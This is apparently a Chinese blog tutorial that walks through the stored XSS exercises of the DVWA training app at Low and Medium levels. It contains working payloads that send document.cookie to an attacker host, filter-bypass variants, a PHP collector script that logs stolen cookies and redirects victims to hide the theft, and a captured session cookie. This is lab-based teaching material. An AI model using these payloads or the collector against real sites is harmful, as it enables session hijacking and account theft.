赞
踩
Low级别
首先攻击者A访问这个网站 判断这个网站是否有XSS漏洞
发现是有XSS漏洞的
这时 攻击者A构造一个脚本 获取用户cookie
攻击者写好脚本以及测试这是否存在XSS
<script>alert(1)</script>
以上看到当再次访问这个网站时是出来这个窗口的 则存在XSS漏洞 而且是存储型
现在攻击者A把写好的获取用户cookie的脚本存放进去
脚本如下:
</pre><script>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script><pre>
发现长度有限制 那F12该源码吧
此时其他用户访问一下
再次访问时
跳转到了百度 看一下获取到的cookie
首先是攻击者A 在自己的电脑上使用这个网站
地址为http://*****/DVWA-1.9/vulnerabilities/xss_s/
获取cookie的php代码如下
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>
获取的cookie如下
IP: 192.168.244.1
Dateand Time: 2018-04-02 8:09:04
UserAgent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Referer:http://192.168.244.1:8080/DVWA-1.9/vulnerabilities/xss_s/
Cookie: security=low;PHPSESSID=5ceminfpapqpc6qlgjtgr0e014
Medium Stored XSS Source
首先看一下源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
与Low级的相比,name值的处理增加了一个str_replace() 函数,用来将字符串中含有“<script>”的字符串替换为空字符,从而稍微有点过滤作用;message值的处理中,在其第二次调用trim()函数时还内嵌了两个函数,先是使用addslashes() 函数、返回在预定义字符之前添加反斜杠的字符串,然后调用strip_tags()函数来剥去字符串中的HTML、XML 以及 PHP 的标签,在最后再调用htmlspecialchars() 函数、把预定义的字符转换为 HTML 实体,对输入的内容先进行HTML的编码然后再存储进服务器中,从而使message的SQL和XSS漏洞几乎不存在。
但是对于name的过滤不足,
我们试一下利用name这个标签进行漏洞利用
这时候发现了什么 发现最后的</script>没有了因为我们传的内容是:</pre><script>document.location ='http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script><pre>
我们试一下这个</pre><Script>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</scri</script>pt><pre>
发现都是一样的 后面所有提交的内容都放在第一次的name下了 因为缺少</script> 想一下该怎么办
试一下这个<scr<script>ipt>alert(1)</script>
发现这样是可以的
但是试一下下面这个时
<scri<script>pt>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script>
就不可以了
还是少了</script>其实并不是少了</script> 而是它把</script>插入到了网页的最下面
我缩小了一下语句的长度
<scri<script>pt>document.location='http://攻击者IP/acceptcookie.php?cookie='+document.cookie;</script>
惊人发现注入成功一半
已经出现</sc 了
最后在不断注入的过程中发现是长度的问题 不断缩小长度 最后注入语句为下面的居然成功了
<Script>document.location='http://攻击者IP/12.php?cookie='+document.cookie;</script>
其实这里应该是后台数据库中对存储内容长度做了限制
所以在渗透测试的过程中 一定要有耐心 还有仔细观察
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。